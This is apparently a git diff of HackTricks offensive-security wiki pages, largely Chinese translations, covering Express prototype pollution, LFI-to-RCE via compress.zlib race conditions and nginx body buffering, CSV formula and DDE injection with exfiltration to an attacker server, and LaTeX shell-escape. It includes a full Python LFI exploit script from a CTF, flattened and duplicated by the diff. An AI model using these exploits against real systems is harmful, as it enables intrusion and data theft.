{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Express Prototype Pollution Gadgets
|
||||
# Express 原型污染工具
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -9,33 +9,19 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 提供 XSS 响应
|
||||
|
||||
**有关更多详细信息** [**请查看原始研究**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### 将 JSON 内容类型更改为 HTML
|
||||
|
||||
在使用 **JSON 内容类型响应** 并反映 JSON 的 Express 应用中:
|
||||
在一个使用 **JSON 内容类型响应** 并反射 JSON 的 Express 应用中:
|
||||
```javascript
|
||||
app.use(bodyParser.json({type: 'application/json'}));
|
||||
app.post('/', function(req, res){
|
||||
|
@ -125,28 +111,17 @@ res.send(req.body);
|
|||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **泄露**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,34 +1,20 @@
|
|||
# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
|
||||
# LFI2RCE 通过 compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + 路径泄漏
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### `compress.zlib://` 和 `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
使用协议 `compress.zlib://` 和标志 `PHP_STREAM_PREFER_STDIO` 打开的文件可以继续将稍后到达连接的数据写入同一文件。
|
||||
|
@ -55,25 +41,13 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
|||
|
||||
攻击者将使 **受害者服务器打开一个连接,从攻击者的服务器读取文件**,使用 **`compress.zlib`** 协议。
|
||||
|
||||
**在** 这个 **连接** 存在时,攻击者将 **提取临时文件的路径**(它被服务器泄露)。
|
||||
**在**这个 **连接** 存在的同时,攻击者将 **提取临时文件的路径**(它被服务器泄露)。
|
||||
|
||||
**在** 这个 **连接** 仍然打开时,攻击者将 **利用 LFI 加载他控制的临时文件**。
|
||||
**在**这个 **连接** 仍然打开的情况下,攻击者将 **利用 LFI 加载他控制的临时文件**。
|
||||
|
||||
然而,web 服务器中有一个检查,**防止加载包含 `<?`** 的文件。因此,攻击者将利用 **竞争条件**。在仍然打开的连接中,**攻击者** 将 **在** **web 服务器** **检查** 文件是否包含禁止字符 **之后** 发送 PHP 负载,但 **在** 它加载内容 **之前**。
|
||||
然而,web 服务器中有一个检查,**防止加载包含 `<?` 的文件**。因此,攻击者将利用 **竞争条件**。在仍然打开的连接中,**攻击者** 将 **在** **web 服务器** **检查** 文件是否包含禁止字符 **之后** 发送 PHP 负载,但 **在** **加载其内容之前**。
|
||||
|
||||
有关更多信息,请查看竞争条件和 CTF 的描述 [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个 **暗网** 驱动的搜索引擎,提供 **免费** 功能,以检查公司或其客户是否被 **窃取恶意软件** **攻击**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
有关更多信息,请查看 [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) 中的竞争条件和 CTF 的描述。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -84,7 +58,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,86 +15,62 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 易受攻击的配置
|
||||
|
||||
[**示例来自 https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
[**来自 https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* PHP 代码:
|
||||
```php
|
||||
|
||||
\`\`\`\`h\`
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 注意:在此示例中,无法直接包含 \`/proc/34/fd/15\`,因为 PHP 的 \`include\` 函数会将路径解析为 \`/var/lib/nginx/body/0000001368 (deleted)\`,该路径在文件系统中不存在。幸运的是,这一小限制可以通过一些间接方式绕过,例如:\`/proc/self/fd/34/../../../34/fd/15\`,这将最终执行已删除的 \`/var/lib/nginx/body/0000001368\` 文件的内容。 ## 完整利用 \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # 通过 nginx 的客户端主体缓冲辅助利用 PHP 本地文件包含 (LFI) # 详情请参见 https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # 查找 nginx 工作进程 r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] 找到 nginx 工作进程: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # 上传大客户端主体以强制 nginx 创建 /var/lib/nginx/body/$X def uploader(): print('\[+] 启动上传器') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
```markdown
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
```
|
||||
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
|
||||
def send\_payload\_multiprocess(requests\_session): # 使用所有 CPU 将有效负载作为请求体发送给 Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # 此方法从随机数量的 ProcFS 路径组件创建路径。生成的路径将类似于 /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # 标志格式为 hxp{} if "hxp" in d: print("找到标志!") print(d)
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # 在循环中扫描 Nginx FDs 介于 10 - 45 之间。由于文件和套接字不断关闭 - 请求体 FD 在此范围内打开是非常常见的 for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] 创建请求会话') requests\_session = create\_requests\_session() print('\[DEBUG] 获取 Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] 开始发送有效负载') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] 开始 fd 读取器') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
```
|
||||
```
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
## Labs
|
||||
```
|
||||
## 实验室
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||
|
||||
## References
|
||||
## 参考资料
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
||||
|
||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
@ -9,25 +9,17 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Formula Injection
|
||||
|
||||
### Info
|
||||
|
||||
如果你的 **输入** 在 **CSV 文件**(或任何其他可能会被 **Excel** 打开的文件)中被 **反射**,你可能能够放入 Excel **公式**,这些公式将在用户 **打开文件** 或用户 **点击 Excel 表格中的某个链接** 时被 **执行**。
|
||||
如果你的 **输入** 在 **CSV 文件**(或任何其他可能会被 **Excel** 打开的文件)中被 **反射**,你可能能够放入 Excel **公式**,这些公式将在用户 **打开文件** 或用户 **点击 Excel 表格中的某些链接** 时被 **执行**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
如今 **Excel 会警告**(多次) **用户当从 Excel 之外加载某些内容**,以防止他进行恶意操作。因此,必须在最终有效载荷上特别努力进行社会工程。
|
||||
|
@ -58,7 +50,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
* 当打开 CSV 文件时,仍然包含恶意有效载荷。该有效载荷在电子表格中显示为可点击的超链接。
|
||||
3. **触发攻击:**
|
||||
* 一位教师点击超链接,认为这是学生详细信息的合法部分。
|
||||
* 点击后,敏感数据(可能包括电子表格或教师计算机上的详细信息)被传输到攻击者的服务器。
|
||||
* 点击后,敏感数据(可能包括电子表格中的详细信息或教师计算机上的信息)被传输到攻击者的服务器。
|
||||
4. **记录数据:**
|
||||
* 攻击者的服务器接收并记录从教师计算机发送的敏感数据。
|
||||
* 攻击者可以利用这些数据进行各种恶意目的,进一步危害学生和机构的隐私与安全。
|
||||
|
@ -105,14 +97,14 @@ Google Sheets 提供可以被利用进行 OOB 数据提取的函数:
|
|||
该程序使用 3 个主要属性来(不)允许命令执行:
|
||||
|
||||
* **`--no-shell-escape`**: **禁用** `\write18{command}` 结构,即使在 texmf.cnf 文件中启用。
|
||||
* **`--shell-restricted`**: 与 `--shell-escape` 相同,但 **限制** 为一组“安全”的 **预定义** \*\*命令(\*\*在 Ubuntu 16.04 中,列表在 `/usr/share/texmf/web2c/texmf.cnf` 中)。
|
||||
* **`--shell-restricted`**: 与 `--shell-escape` 相同,但 **限制** 为一组“安全”的 **预定义** \*\*命令(在 Ubuntu 16.04 中,列表在 `/usr/share/texmf/web2c/texmf.cnf` 中)。
|
||||
* **`--shell-escape`**: **启用** `\write18{command}` 结构。该命令可以是任何 shell 命令。出于安全原因,通常不允许此结构。
|
||||
|
||||
然而,还有其他方法可以执行命令,因此为了避免 RCE,使用 `--shell-restricted` 是非常重要的。
|
